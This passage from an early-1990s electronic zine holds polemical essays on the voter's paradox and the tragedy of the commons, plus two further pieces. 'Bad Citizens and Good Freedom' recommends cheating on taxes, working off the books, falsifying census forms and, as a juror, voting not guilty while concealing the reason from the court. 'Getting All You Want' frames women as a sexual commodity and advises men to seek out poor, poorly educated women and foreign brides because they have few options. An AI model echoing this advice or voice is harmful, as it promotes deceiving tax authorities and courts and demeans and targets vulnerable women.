the election process itself is +altered, your vote is just not significant. + + +PAGE 11 + + You won't be alone in deciding not to bother to vote. As many as +half the voters will not only decide voting is not worth the sacrifice +of driving two hundred miles, they'll decide it's not worth the +sacrifice of the risk of getting rained on, missing a favorite TV +show, being late for dinner, or driving six blocks out of the way on +the way home from work. + + Let us look at the voting situation more carefully and examine +some of the counter arguments often made for why you should vote. + + *What if the election resulted in a tie? Would not my vote count* +*then?* + + Sure, if that ever happened. But ties don't ever occur in large +elections and if they did there would be a re-count. Your vote would +still get obliterated! + + *But I like to vote. I really don't care whether my vote does* +*any good or not - I get an internal feeling of having done my duty.* +*And, if the candidate I vote for wins, I can brag about how I help him* +*get elected.* + + This is the real reason why most people do vote. They have +bought into a group of myths that make them think that their single +vote really does count. Because they believe those myths, voting +makes them feel good. If voting gives you a good feeling, by all +means do it, if it doesn't cost you a lot of time or money. But what +if you don't like any of the candidates, you know they are all crooks +and that not one of them will do what he or she is promising they will +do? Do you really feel good when you are forced to choose between +Slick Willy, Read My Lips, or a rich Texas shrimp? + + *What about the possibility that my employer may reward me for* +*voting and/or there are other rewards for being a registered voter?* + + If the reward exceeds the cost of voting, then vote. That is +rational. But how often does that actually happen? + + The question is not why do so few people vote, but why does +anyone bothers to vote at all. Voting may be a fun and pleasurable +experience but it doesn't make rational sense as a way of getting a +payoff for the effort and sacrifice. + + *If my voting will do nothing, what can I do to help get my* +*candidate elected?* + + Simple: get other people to vote, lots of them. If you can get +10,000 people to vote the way you want and your personal reward for +doing that exceeds the cost of your doing it then, rationally, you +should do it. It doesn't pay to vote, but it does pay to donate a +great deal of money to a political candidate which is then used to con +less intelligent and less rational people into voting for the +candidate who will promptly ignore the desires of those who voted from +him but do everything he can to serve the desires of those who made +big contributions to his campaign. + + That is why it's so easy to buy elections. The thinking voter +gets no real, tangible rewards for voting; the bought voter gets +whatever pay-off he/she is offered. + + +PAGE 12 + + But if a single vote makes no difference to the outcome, what +about the other things our leaders ask us to do as a civic duty? + + Let's look at another example of civic duty, one in which we +could argue that the personal sacrifice has a much greater impact on +the public good than the simple act of voting. Suppose you live in a +California city that happens to be running out of water. The mayor +declares - among other things - that the residents are to take baths +only two days a week. Although this is not your day to bathe, you +have just finished making a plumbing repair in the basement and you +are feeling really grungy. The desire to take a bath weighs heavy on +your mind. + + You consider the options. They can best be stated by the +following "payoff matrix". + + | Direct |Member of Community | + | Impact | Impact + + ---------------------------------------------------------- + Take Bath | Great | - negligible | + ---------------------------------------------------------- + Don't Take Bath | Awful | + negligible | + ---------------------------------------------------------- + (The '-' means slightly negative; the '+' means slightly + positive) + + When I take any action that uses community resources, it impacts +me in two ways. I am impacted directly by my action and I am impacted +as a member of the community. + + With regard to the bath water example, the pay off matrix would +provide enough evidence to a rational person to conclude that the net +pay off is heavily in favor of taking a bath. The loss that he/she +would get from cheating as a member of the community is +insignificantly small. + + Both of these scenarios present examples of a situation sometime +referred to as "The Voter's Paradox". Basically that paradox states +that the return to an individual from a group contribution that is +beneficial to the group will be less than the direct cost to the +individual. The paradox results from the fact that while the +individual may have a positive personal gain in not voting, if +everyone declines to vote, or to conserve water resources, we have a +disaster on our hands. + + The two scenarios actually present two classes of the problem. + + With regard to the voting dilemma, the problem is that there is +no return *at all* to balance the voter's cost of voting. The reason +why this is so is because elections are a binary (to use a term from +the computer world) event. Your candidate is either elected or not. +We do not put 55% of candidate A in office and 45% of candidate B. It +is all or nothing, which means that one less vote simply has no impact +on the final result. The very improbable case of a tie vote is +statistically insignificant. + + The second example of a water shortage is not binary in that +every little bit of water in the reservoir does help, even if the +actual difference one bath may make is down in the noise ( to borrow + +PAGE 13 + +another term from electronics). But one always gets a significant +reward for cheating, i.e. instant cleanliness. Yet, if half the +population does as I do, the impact is disastrous. + + *What if everyone did that?* + + Experience tells us that everyone won't. We can be pretty sure +that a significant segment of any human population will believe the +myths and do their duty. Like the sheep they are, they will vote, +conserve water, and offer every sacrifice for the common good that the +preacher, teacher, or politician tells them to make. + + But we are not writing this for the sheep who do what they are +told to do. We're addressing this to those who think and act +rationally in their own self interests. The rational individual is +first concerned with the results of his/her actions as it impacts on +his/her own happiness and well being. Such a person may decide to +make a sacrifice in the common good, but will do so only if he or she +is certain that the personal sacrifice will produce a common good +result that is at least equal to or, hopefully, greater than the value +of the personal sacrifice. + + What we are arguing is that such a situation almost never occurs. +Most of the time, a personal sacrifice never produces an impact on the +common good that would justify the personal cost. + + The final paradox is that if everybody did as I contemplate +doing, then it would me even less sense for me not to cheat. The more +people who cheat, the less rational it becomes to be one of those +sacrificing personal good for the common good. The more rational, +self directed, selfish people there are in a community, the less +likely that appeals that everyone should work for the common good will +produce results. + + This dilemma is sometimes called *The Tragedy of the Commons* +which refers to the early New England practice of establishing a +grazing commons used by everyone in the village. The commons pasture +was a limited resource which all members of the village could use for +grazing their milk cows and horses. The assumption was that the good +citizens of the community will each limit their use of the commons to +a fair share that would insure that the grass was not overgrazed. It +never happened that way. In every case the commons was overgrazed +into a dust patch. The reason was simple. Too many people recognized +that as the grass was a limited resource, they had to get the maximum +amount into their cows before some one else did. The expectation was +always that if one didn't take more than his or her fair share, the +next fellow would. + + The *Tragedy of the Commons* poses an extremely serious dilemma +to those who would try to design a society based on the assumption +that individuals will contribute to the group's well being rather than +looking out for their own selfish interests. If we recognize that +individuals are driven by selfish desires and we are looking for a +rational basis for voluntarily contributing to community welfare, we +are in serious trouble. + + Faced with the reality of the tragedy of the commons, society +usually opts for one of two different methods for insuring the common +good as well as the preservation of community resources. These two +methods are not complimentary, but contradictory. + + +PAGE 14 + + One of these is the pay-as-you go method, that is, the free +market. In the free market approach, every common resource, whether +managed by private owners or by a community government, is sold to the +public at a price high enough to insure that the resource is not +depleted. If there is a water shortage, then the price of water is +jacked up until people have no choice but to limit the amount of water +they use for bathing. This not only has the advantage of insuring +that water consumption goes down, it also gathers capital that can be +used to increase the supply of water through the creation of new +sources. + + But the modern advocate of *socially responsible* government +objects to the market place approach because it results in an *unfair* +situation in which the rich wash their cars while the poor can't take +a bath at all. Such advocates of the common good claim that the only +way to fairly distribute a common necessity is by regulation. That +means that you jail people who take baths on the wrong day and the +only fair way to gather capital to finance new public projects is by +taxation. You not only have to collect enough tax to pay for the +water system, but you must also collect enough to hire the water cops, +pay the judges, and to build the jails where you will put both water +and tax cheats. + + But does such government action really solve the voter's paradox +or the tragedy of the commons, or does it simple create a new commons, +a public treasury, that then becomes the target of plunder for selfish +people who will always put their own selfish interest above the common +good? + + If we look at recent political history, it is obvious that the +tragedy of the commons could also be called the tragedy of the public +treasury. No matter how much we collect for the public treasury, it +will never be enough to meet the demands of those who claim a right to +use the money from the treasury. + + It is not remarkable that each individual describes the public +good as those things that are in his own best interest. The elderly +want more social security and medical benefits, the trucker better +roads, the farmer crop subsidies, the investor bank guarantees, and +the politician every single benefit that will result in more votes for +him at election time. The inevitable result is that the government +never spends the revenue in the public good, but only for the benefit +of those clever enough to manipulate the system to their own benefit. + + We can see the result in America today. The entire political +process has degenerated into a mad scramble over what should be +financed with public funds as our politicians spend us into national +bankruptcy. + + This paradox affects our lives in a variety of ways every day. A +few more examples are provided for your amusement and to further +illustrate the general nature of the problem: + + -- The congressman votes for more spending and higher taxes + because his direct reward is greater than the small loss to himself + of having to pay higher taxes. Further, the electorate of each + district continues to encourage the congressman to spend for the + benefit of their area, while complaining about the ever increasing + national debt! + + +PAGE 15 + + -- Even though free trade would benefit all nations and most + consumers, I, as an auto worker or textile mill owner, will + personally benefit more if I can elect politicians who will set + high tariffs and limit competitive imports. + + -- The ecology of the earth will not be measurably affected by + my actions. The destruction of the mahogany forests does not really + depend on whether I buy this mahogany table or not. In any case, + not much is likely to happen in my lifetime. + + -- If I somehow know that a chemical company stock is about to + gain $5, and I decide not to buy because the company makes + chemicals that end up in toxic dumps, two things happen: I lose a + chance to make $5 for every share I could afford to purchase and + the chemical company will feel absolutely no additional pressure to + abandon the production of these chemicals. In fact there will be + no impact on the company, nor their policies, whatever I decide to + do. + + -- Currently the government is encouraging all of us to buy all + we can in order to stimulate the economy. It makes much more sense + for me to cut my spending and pay off my credit bills. If everyone + does that, the recession becomes a depression. + + -- Young people who want to use their credit cards demand that + the government lower interest rates even though that cuts the + income of the elderly who are living on the interest off their + savings. + + -- Should I contribute to Public Television? Not only will my + $25 contribution not impact whether the station stays on the air or + not, but my use of their service costs them nothing more than what + they already spend. Rationally, I use but don't pay. + + --Consider the situation of a bank near possible failure. + Suppose that you know that the bank's situation is precarious and + that if several people suddenly withdraw their deposits, it will + have to close. You have $5000 in deposit. What should you do? + The bank will not close because of your individual action so your + withdrawal will not hurt other people. But if there is a "run" on + the bank, you lose $5000. + + If the above arguments are correct, we can only conclude that a +rational and selfish individual will not voluntarily contribute to +community welfare even though he/she would share in that welfare. We +could even suggest that the only people who do voluntarily sacrifice +personal rewards for the public good are nothing but patsies. The +person who refuses to contribute to the common good gets a double +reward. He or she gets the immediate reward of the money or effort +saved, and the long term reward of collecting whatever public good the +patsies created. + + *But doesn't altruism have it's own rewards?* + + There are very convincing arguments that living human beings are +rarely altruistic. It is easier to believe that positive civic +actions by individuals result from stupidity, intimidation, bribes, or +the success of propaganda campaigns rather than true altruism! + + +PAGE 16 + + But can't we educate our children through the school system about +the importance of working toward the common good? + + We have been trying to do that ever since the beginning of this +century. Education hasn't converted children into altruistic adults +in this country and it certainly didn't work in the Soviet Union where +the school system tried desperately to create the new socialist man +who would always work for the common good. Indeed, it seems that just +the opposite happens, the more educated a person is, the more he/she +is likely to take rational actions and less likely to be easily +convinced to sacrifice his own good for the common good. + + What is the solution to this dilemma? Do those of us wise enough +to recognize the mythologies and the bull shit that priest and +politicians hand out decide that we have no choice but to go along +with the program of inducing guilt, intimidating the ignorant, +propagandizing the uneducated, and bribing the electorate as it has +been practiced by the churches, governments, and teachers for +thousands of years? + + Or, do we shout out the truth? Do we admit to ourselves, and +tell anyone who wants to listen that sacrificing for the common good +makes no rational sense, that the only way to achieve the common good +is to make every thing a pay-as-you-go proposition with the free +market place determining what the price of every commodity and benefit +will be? Moreover, do we make a rational decision to take every legal +advantage of the common good and the common treasure for as long as +others are willing to believe in the myths that teach it is better to +serve the common good rather than look out for one's own selfish +interests? + + Indeed, do we dare examine the very concept that there even is +such a thing as the common good? Or is that idea as mythical as the +morality that claims humans must put aside their own interest in order +to serve the interest of the community? + + In reality, society is always a chaotic mixture of competing +needs in which the needs and wants of no two individuals ever match. +No matter how much you may want tax supported public schools, I'll +remain convinced that public schools are a failed social experiment +that should be junked. Some argue that the war on drugs does more +damage to society than drug addiction could ever do. Do agricultural +subsidies really serve the common good of the consumer who must pay +higher prices at the food counter? + + There is not a single major political issue in modern America in +which there is anything approaching a consensus agreement about what +action must be taken in the common good. + + *Would a society in which no one gave a damn about the common* +*good, be such a bad place to live?* + + Such a society would not put the butcher, the baker, or the +farmer out of business. We all must count on other people, but the +best way to make sure that someone does what we want them to do is to +return the favor by performing for them what they perceive to be an +equal favor. That's what the free market is all about. + + If you really think about it, we already live in a society in +which every individual is really looking out for their own self + +PAGE 17 + +interest. It's just that we've allowed too many people to glibly lie +that they were supporting the common good when all they are really +interested in is their own selfish rewards. They lie about their love +for the common good because they want to take advantage of our +gullibility to get what they want out of the system. That includes +every person who now holds political office and every person who is +trying to get elected. Throwing the current bunch out and replacing +them is not going to solve the problem. + + But what about the voter's paradox? How do we solve that +problem? + + Why bother? If we give up the idea that people should sacrifice +for the common good, we take away most of the justification for the +politician. In a free society, voting shouldn't count for much. If +people take full responsibility for their own lives, that leaves +nothing for politicians to do. It's only when we allow the politician +to make us slaves of the common good that we have to worry about whom +we elect. + + *-------------------------------------------------------------* + | THE CHAOS ADVOCATE is copyrighted by Mack Tanner. You | + | may review and read sections of this electronic publication | + | to determine whether or not you would like to read the | + | entire work. If you decide to read the entire magazine, or | + | if you keep a copy of the magazine for your own personal use| + | or review for more than two days must pay a SHARELIT fee by | + | mailing $2.00 to | + | | + | Mack Tanner | + | 1234 Nearing Rd. | + | Moscow, ID 83843 | + | | + | If you want a receipt, include a self-addressed and | + | stamped envelope. | + *-------------------------------------------------------------* + + +PAGE 18 + + + + + *-----------------------------------* + | BAD CITIZENS AND GOOD FREEDOM | + | | + | by | + | Jefferson Mack | + *-----------------------------------* + +"The danger is not that a particular class is unfit to govern. Every +class is unfit to govern." --Lord Acton + + If every class is unfit to govern, then who will lead us? The +answer is obvious. No one! + Free, independent, competent people don't need leaders. A truly +free society is disorganized. Nobody is in charge. Nobody takes +orders. Everyone does exactly what he or she wants to do, taking +orders from nobody else. If you want something from someone else, you +make a voluntary trade or exchange in which both of you are happy with +the deal. + The people who preach the need to organize don't want you to be +free. What they want is for you to pay their bills and do their dirty +work so they can be free to do what they want to do. + The last thing someone who wants to boss others wants around are +independent, competent people who want to left alone to live their own +lives. Such people never make good citizens, not the way a politician +talks about good citizens. + A political leader will tell you a good citizen obeys the law-- +every law. A good citizen works hard--at whatever job the government +tells him he is suppose to work at. A good citizen pays his taxes-- +even if he doesn't have enough left over to feed his kids. A good +citizen volunteers his or her time to work on civic projects the +leader designs. A good citizen goes off to fight and die in wars with +people he doesn't know so that the leader can win a place in the +history books. The good citizen never complains--no matter how stupid +or crude a government official treats him nor how much a leader asks +him to sacrifice. + Give a politician enough good citizens and he will rule forever, +fat and happy, while the good citizens sweat and suffer and die to +make sure the political leader keeps the good life. + Politicians and bureaucrats spend a great deal of time and effort +trying to convince the people they rule that a moral person must be a +good citizen. Back in the dark ages they called it the "Divine Right +of Kings". Now days it's called patriotic duty, or civic +responsibility, but it all adds up to the argument that every decent, +honorable person must put the interests of the state and the +government above their own personal interests. + + BAD CITIZENS HAVE MORE FUN BECAUSE THEY ARE MORE FREE. + + A free society is supposed to have free citizens, not good +citizens. The day you wake up and realize you don't have all the +freedom you want, the first thing you want to do is bad citizen. + A bad citizen may love the place where he lives. He may love his +country and respect his neighbors. But a bad citizen won't love or +respect the people who run the government. A bad citizen will always +put his own interest and the interest of his family and friends above + +PAGE 19 + +the interest of some common good as described by the people who hold +political power. + We are not talking here about violent criminals or rebels. +Political leaders love those kinds of people. They love pulling their +guns, arresting people and putting down riots. If you don't think the +politicians loved the recent events in Los Angeles, you haven't been +watching the TV news. Every single politician in the country has +jumped on the band wagon by promising us they'll solve the problem if +we'll just give them some more of our money and a little more of our +freedom. + Political leaders love big trials with lots of newspaper space. +It gives them a chance to show how powerful they can really be. They +are expecting open confrontation and they will be prepared to deal +with it. They have detention camps, secret police, riot control +equipment, and the army ready to go after all those who dare openly +confront the government. + But any political leader who's got a country full of peaceful bad +citizens has got a serious problem. Bad citizens work hard to support +themselves, they treat their neighbors with respect, they won't cheat +others for their own gain, and they don't do violent acts that hurt +innocent people. + What bad citizens won't do is help the government make his or her +life miserable. They continually try to maximize the freedom they +have, even if they have to break or ignore a few laws to do it. + Too many bad citizens make government almost impossible. That's +one big reason why the Soviet Union didn't work. Too many Soviet +citizens realized they were never going to get a fair share out of +socialism and they stopped being good citizens. They looked out for +themselves rather than the good of the State. + + GOOD CITIZENS MAKE TYRANTS POSSIBLE. + + Nazi Germany wasn't filled with people who wanted to throw Jews +into bonfires, make slaves of eastern Europeans, or rule the world +from Berlin. Nazi Germany was filled with good citizens and Hitler +did everything he could to make all those good citizens think they +were better off with him in charge, even if they did have to give up a +few freedoms. Hitler was more frightened that all those good citizens +might stop being good citizens than he was of the allied armies. + North Korea, Viet Nam, Cuba, Iran, and Iraq are filled with good +citizens, all of them hoping that by being good citizens, they will +help things get better. Only things keep getting worse. The good +citizen works harder but gets less to eat, has less fun, enjoys life +less, and has less hope for a better future. + + BAD CITIZENS HAVE KEPT THE UNITED STATES FREE. + + Back in 1917 a majority of the voters in the United States +decided they knew what was best for everyone and passed the Eighteenth +Amendment, taking away the freedom of a man to relax with a beer after +an honest day's work. Hundred of thousands in this great country +suddenly turned into bad citizens. They didn't organize into a let's- +bring-back-the- booze political party or start blowing up police +stations. All they did was to keep on drinking. Some bad citizens +were more than willing to smuggle, distill, or brew the booze and sell +it for a profit. + In 1933, the social manipulators and the do-gooders finally gave +up, agreed to throw out the great experiment and a tens of thousands +of people went back to being good citizens. + These kind of things keep happening all over this country. Have + +PAGE 20 + +you tried driving a fixed fifty-five along our highways? A whole +industry has gotten rich selling us radar detectors to give us a +chance against the modern technology of the Highway Patrol. +Eventually, the wizards in Washington had no choice but to up the +speed limit to 65, at least in a few places. + The Drug Enforcement Administration, and every State and local +police department spend billions each year to try and stamp out the +use of recreational drugs. Yet every year, the price of the drugs go +down, while availability go up. Anybody who wants to smoke pot, can, +any place in the United States. + Other freedoms are under constant attack. Take the issue of gun +control. The people who tout this totalitarian principle keep telling +us that the majority of Americans want some kind of gun control. So +what? No majority in a free country has the right to take away the +freedoms of any minority. That's what freedom is all about, and +owning a gun is a damn good way to help make sure nobody starts +interfering with your personal freedom. As long as the people who +understand and believe that principle insist on keeping their guns, we +are going to be able to keep them. + In California the state government outlawed a whole collection of +different kinds of semi-automatic weapons and demanded that every +citizen register those weapons and turn them in. Non-compliance has +been almost total. + Americans used to be pretty good tax payers, way back in the +forties and fifties. But one day we woke up and realized that the fat +cat friends of Congress had all been given special privileges and were +paying less than their fair share. + So a whole lot of good taxpayers have turned into bad citizens. +We are now a nation of tax evaders. We figure every angle, both legal +and illegal to bring down our own taxes. Every increase in the tax +structure is matched or exceeded by losses as more ordinary middle +class citizens figure out ways to cheat on their taxes or join the +underground economy. We've now got the politicians against the ropes. +They are bankrupting the treasury, but they can't raise taxes any +farther because the know all us bad citizens aren't going to take it +any more. + If we keep protesting and evading new tax increases, eventually +the politicians will have no choice but to start cutting the waste if +they want to leave enough money in the treasury to keep paying them +their fat salaries. + Each of the above examples shows just how much we are a nation of +bad citizens. That's why we have as much freedom as we do. That's +why in recent years, this country has been moving in the direction of +more freedom, not less. The politicians are finally beginning to +understand that you can't take an American's freedom away and make it +stick. There are two many bad citizens in this country. + + HOW TO SURVIVE AS A BAD CITIZEN + + Once you realize that you are not living in a free country and +that there is no go reason why you should be a good citizen, there are +a few rules you need to learn so you can get the most benefit out of +being a bad citizen without suffering more loss of personal freedom or +even going to jail. + A smart bad citizen won't let himself get caught being bad. He +won't brag to his friends and neighbors about what a bad citizen he +is. He won't tell the local newspaper how proud he is of being a bad +citizen. He will not deliberately confront the government, and he +will avoid doing anything in public that will warn any government +official he is not a good citizen. + +PAGE 21 + + The bad citizen tries to be the invisible man or woman, the +person the government official would never expect is denying the +government his help and cooperation. + That means if you want to be a bad citizen, you don't want to +stand on any street corners making speeches demanding revolution and +you don't want to run with a mob throwing rocks at police vehicles. +You just want to live your own life, doing everything in private you +want to do, exactly the way you want to do it. + You want to look like a good citizen. You will even want to do +some things that all good citizens do, like vote. + Only once you are in the voting booth, you vote against every +bond issue, every politician who's in office, and every new initiative +that will increase government power or raise your taxes. If the only +choice is between two common thieves then a bad citizen writes in +someone else's name, or even his own. + You insist on getting every possible government benefit you are +eligible for and demand every government service the law says you are +entitled to receive. If you are eligible, you'll collect social +security, unemployment benefits, use food stamps, dip into Medicare, +claim farm subsidies, and try to get the government to pay you for +drawing obscene art or writing nasty stories. + You may even decide to take a government job, if you can make +more money doing that than working for some private firm. But a bad +citizen who's got a government job takes all his sick leave, goofs off +every chance he gets, and does everything he can to minimize the +damage the government can do to other bad citizens. + But don't cooperate with the bastards when it's not to your +advantage to do so. Except when it's in your direct, economic +advantage, you ignore the government. Never voluntarily do anything +that will help the government in any way. + If bad citizens know someone who is cheating on their taxes, +violating a business license law, working in a job paying less than +the minimum wage, or selling a little dope, they don't call the +authorities. + A bad citizen files his income tax return but cheats in ways +that take advantage of IRS incompetence. Bad citizens work off the +books and don't declare the income. They'll drive one hundred and +fifty miles to buy a truck load of groceries in another state that +charges less sales tax. + A bad citizen loses his census form, or fills it in wrong. Bad +citizens don't provide the government any kind of information unless +they get an immediate benefit or there is a government official +standing there insisting that they do it. + Bad citizens don't sacrifice their own pleasures or happiness +just because the government tells them such sacrifices are in the +common good. They don't volunteer their services for anything the +government is trying to do, no matter how worthwhile the project +appears to be. If the politicians tell them there is an energy +crisis, they don't turn the heat down and the lights off if they can +afford the electricity. + Bad citizens enjoy the freedom of driving their own personal cars +instead of riding tax-subsidized mass transit systems or subjecting +their personal schedules to the demands of car pooling. Bad citizens +don't waste time sorting garbage unless there is a direct economic +benefit for doing so. They don't man a voting booth, support the +local sheriff, waste time in town meetings, donate to political +parties, report poachers, nor contribute to the Community Chest and +United Fund. They recognize that a government that steals freedom +shouldn't get any voluntary help. + +PAGE 22 + + Of course, there is a chance that someone will show up at your +door pointing a gun to make you volunteer for some civic duty like +jury duty. When that happens, don't argue, go. But a bad citizen +won't do anything more than what is absolutely necessary. On +something like jury duty, it may even be possible to help screw up the +system even while pretending to act like a good citizen. + It the person on trial is accused of tax evasion, drug offenses, +bootlegging, pornography, non-violent sex offenses, a failure to +obtain a business license, or any other crime that shouldn't be a +crime in a free society, a bad citizen can always find some +justification for voting not guilty, even if every other member of the +jury is convinced he's guilty. + Such a bad citizen is exercising the right of jury nulification, +that is, the right to set a person free because the juror thinks the +law is not constitutional. But the bad citizen won't admit that to +the judge, the jury, nor the press. Instead, he or she will insist +that he or she was not convinced by the prosecutor's evidence. + When the government confronts a bad citizen, the bad citizen will +insist that the government official respect every right that the +Constitution and the law gives every citizen. The bad citizen makes +sure he knows what rights the law gives him, and then he demands they +be respected. The bad citizen will be polite, he will fight the urge +to get angry, he will never, ever, initiate violence against a +government official, but he will insist on his rights. Unless he is +presented with a warrant, he won't let a government official into his +house, he won't give permission to any officer of the law to search +any of his belongings, and he won't answer any questions, even +apparently innocent questions without first checking with a lawyer. + Even in the United States with all the protections against self- +incrimination, most of the people in jails are there because they +talked too much. + When questioned by a government official, the smart person in +such a situation becomes the dumbest citizen in the county. He hasn't +been reading the newspapers, doesn't listen to the radio, doesn't know +a thing about what is going on, but he loves the government, and loves +doing his civic duty, and he knows his rights. + If bad citizens are asked a direct question, they won't lie, but +they give as little information as possible. They never gives any +information that they are not required by law to give. But the do it +all courteously, never suggesting by tone or attitude that they are +being anything but totally cooperative. + All you have to do is say, "I don't want to answer that +question." If the government official insists you answer the +question, then you say, "I want to speak to my lawyer before I answer +that question." + But most of the time, the bad citizen will never be bothered by +some government thug because he will learn how to maximize his own +happiness without having to have any dealings with the politician or +the bureaucrat. + +PAGE 23 + + + +EDITOR'S NOTE: THE FOLLOWING WILL NO DOUBT ANGER MANY OF OUR WOMEN +READERS AS WELL AS SOME MEN. WHEN YOU GET SO ANGRY YOU REFUSE TO READ +ANY FURTHER, PLEASE JUMP TO THE LAST PAGE AND READ OUR OFFER. + + + + *------------------------* + | GETTING ALL YOU WANT | + | | + | By | + | Roger Victor | + *------------------------* + + All you want of what? Come on! You know what I'm talking +about, the thing that most of us spend every waking hour thinking +about when we aren't getting all we want. + I'm talking about the one thing that women have a one hundred +percent monopoly on. And don't they know how to use it to get what +they want? As the old country song says, they learn it in the cradle. +They tease us, threaten us, deny us, bribe us, and get us to act like +cretins and idiots before they hand it out in small batches. + Most of us men will do almost anything to get it. We'll lie, +steal, pay, and even promise to love the little darlings. + Now unless you're rich, or so handsome that Greek Gods hide when +you walk by, there is only one way you will ever come close to getting +all you want. + You have to have a wife. + That's the deal men made for thousands of years. We brought +home the meat, fought off the wolves, plowed the fields, and held the +ladies when they were scared, all so that when the cooking fire burned +down, we'd get access to the treasure cave. The girls didn't just +furnish loving either. They cooked our food, sewed our clothes, +chewed leather to make our moccasins, and generally made themselves +handy all day long. + I've never known a bachelor who was getting all he wanted. I +certainly never did during those times in my life when I didn't have a +wife. The feminine libbers like to call it prostitution these days, +but call it what you like, most husbands paid well. Perhaps, they +paid too damn well. + Men didn't like to come home to find the creature with whom they +wanted to roll with the ground too exhausted to move because she had +spent the day scraping deer hides, stirring the mastodon stew, or +pounding the clothes on a rock to get them clean. The answer was a +credit card, a gas stove, a stainless steel pressure cooker, and +automatic washers. All the sweetheart really had to do was to push +the buttons on the dishwasher, run a vacuum cleaner across the floor, +throw the clothes in the Maytag, pop dinner in the microwave, and get +ready to make hubby's day as soon as he came home. + Leave it to Eve. She kicked herself out of paradise. She got +the idea that loverboy was having nothing but a good time all those +hours he was out making a living so she decided she wanted a career +too. + Instead of looking on men as great guys who did so much for a +woman just so he could get a bit of loving, they suddenly decided we +were oppressors, the people keeping them from discovering their true +selves. + Look what we have now, a real war between the sexes. If you are + +PAGE 24 + +an educated American male between the ages of twenty-five and sixty, +if you went to college, and if you work with brains instead of brawn, +there is an eighty-three per cent chance you're not getting all you +want, even if you have a wife. + You're spending hours in singles bars pretending you're the +"new" male; you're changing diapers and washing the dishes after +you've cooked the meal; you're learning how to cry; and you're +watching TV reruns alone because your wife's out of town on a business +trip. You may not even be reading this in your own home because the +current woman in your life won't let you keep "sexist trash and +pornography" in the place. Whether you're married or single, the +*new* woman has got you jumping through hoops in so many different +directions that some of you are opting out, learning to live without +any of it at all. + Isn't it about time you stopped worrying about what women want, +and started to think about what you want? + Most men have pretty damn simple wants, a stomach full of tasty +food, a place to put our feet up in the evening, and all the loving we +can handle. + So, how do you do it, how do you get all you want? + The answer is so damn simple, it's surprising more of you +haven't figured it out. + + YOU GET A HOUSEWIFE! + + The word is housewife, like helpmate, a woman who accepts you as +the supplier of the good life and thanks you for being that by giving +you all you want--a woman who cooks your food, washes your clothes, +takes care of the kids, and crawls in beside you every night. + I'll bet you thought that wonderful creature didn't exist any +more. Your wrong, they are not extinct. But they don't hang around +the places the average modern American male lives. + Whether you're a twenty-two year old just drawing your first pay +check, a thirty-five year old that's about to renounce sex forever +rather than risk one more put down, or a forty-five year old with a +divorce settlement that makes the sex his wife handed out for fifteen +years the most expensive thing he ever bought, there is a woman out +there who can make you a good housewife, if you know where to look. + You are not going to find that woman in the senior class at the +local university. You won't find her in the corps of junior +executives in the corporation you work for, nor at the country club +your folks belong to. She won't be waiting for you in a bar where the +drinks start at $5.50 a shot. If you're young and you grew up in a +middle, or upper income family in the United States, there is a good +chance you have never met the kind of woman that makes a good +housewife. + If you want a housewife, you'll have to find a woman who is +living such a miserable life that she'll grab the chance of cooking +your meals, cleaning the house, spending your money, and playing +cotton tail in bed at night just to get out of the mess she hates. + For thousands of years, women gladly jumped at becoming a +housewife because that was a hell of a lot better life than anything +else they might do. + Now days, the modern, college educated, American women sees +herself as having a lot of other options that she thinks are better. + So where do you find a woman who doesn't have those options. +Here's a few suggestions where you can start looking. + +PAGE 25 + + + THE AMERICAN POOR + + There are thousands of women working in jobs that pay minimum +wage with no prospects for moving up the salary scale. They are not +working because they like their career, they're working because they +will go hungry if they don't. Most of them have been working since +they were teenagers in drudge jobs that leave them dragging their ass +back home to small apartments and tasteless meals. They are the women +that never saw the inside of a disco, who read the funny papers and +romance novels, not THE SATURDAY REVIEW nor the Sunday edition of the +NEW YORK TIMES. + That's right, one way to find the perfect housewife is to slide a +few steps down the social ladder. Look for a woman who never went to +college, and maybe didn't even get a chance to finish high school. Go +hunting for a poor thing who will be only too happy to get pulled up a +ladder she never thought she could climb. + Make sure she understands what the bargain is when you find her. +You want a housewife that will stay a housewife, that will stay home +with the kids figuring out ways to make tasty but economical meals, +patching the hole in your sock instead of throwing the pair in the +wastebasket. + I'll admit that with the joys of the American education system, +the poor young ladies are much rarer than they used to be. But there +are still some of them out there. All you have to do is look. Belief +me, they will be happy you found them. + But where do you look for them? + You can't hunt deer in Central Park and you can't catch fish in +the bathtub. If you want to find a woman that will happily sign up as +a housewife, you'll have to go to the kinds of places they gather. + One place to look is the small cities and rural towns of +America. For every run-a-way from Minnesota that ends up selling it +on Times Square, there are a hundred more back home still keeping it +as a private stock and dreaming about a prince charming who doesn't +have black grime under his finger nails and won't insist that she keep +working at her job as a waitress or a construction crew flag girl so +he can afford a six pack every evening. + Save the money you would have spent on a Club Med vacation, and +drive up for a weekend to one of the rural towns of the state you live +in, not one of the places the tourist all go, but someplace where +everybody, especially the women, know that a male stranger is in town. + Take a summer vacation in the mid-west or one of the mountain +States. Forget about the girls sitting at the bar, or eating in the +fancy restaurant. Talk to the waitress, the girl checking out +groceries, the counter girl at the motel, or the meter maid putting a +parking ticket on your car. + You may not even have to go that far from your own home. Most +big cities have working class neighborhoods where parents often don't +have the money to send their children to college. Instead of sitting +at home watching the Celtics play basketball, take in a high school +game in the part of town where the fathers all carry lunch boxes off +to work every day. + The secret is making it clear from the very beginning exactly +what you are interested in--a housewife. When you meet a girl a +couple of social classes down the way, make sure you work into the +conversation early on how much you like the old fashion way, how badly +you want a wife that will be a housewife. + Making them understand that has a double advantage. First, you +weed out those girls who have read so much modern junk they think a +jump up the social ladder should mean an exciting career, not a life + +PAGE 26 + +of luxury tending house and waiting for a man to come home for some +tender loving. The second reason is that you create a situation of +trust. Too many lower class women have been burned by the man with +money in his pocket who was looking for variety, not a lifetime diet. +You want to to convince them you're for real. + + THE FOREIGN BRIDE + + If you've made it in this country you wear Italian shoes and +suits from a London tailor. You use a Japanese camera and watch a +television set made in Korea. You drink German beer and French wine +and who with any money drives an American car? So why not look for a +wife in one of those countries that producing everything else that +makes life so nice to live. + You've seen the adds in the back of magazines. "Asian women +want to meet American men." It's not just the Asian women who are +jumping at the chance of becoming American housewives. There are +women waiting for someone like you in Mexico, Spain, any of the +recently communist countries, all of South America, and even Australia +and New Zealand too. + Don't just answer a magazine ad. Learn all you can about the +different foreign cultures. Pick the one that appeals to you most and +spend some vacation time visiting there. If possible, learn the +language of the country you focus your attention on. + I've spent years living overseas and I know dozens of American +men who have married foreign women, some as a first wife, and many as +a second try. It doesn't work every time, but most of the men I know +with foreign wives are a lot happier than the boys back on Madison +Avenue who are still trying to figure out what the American model +they're living with really wants. + + THE 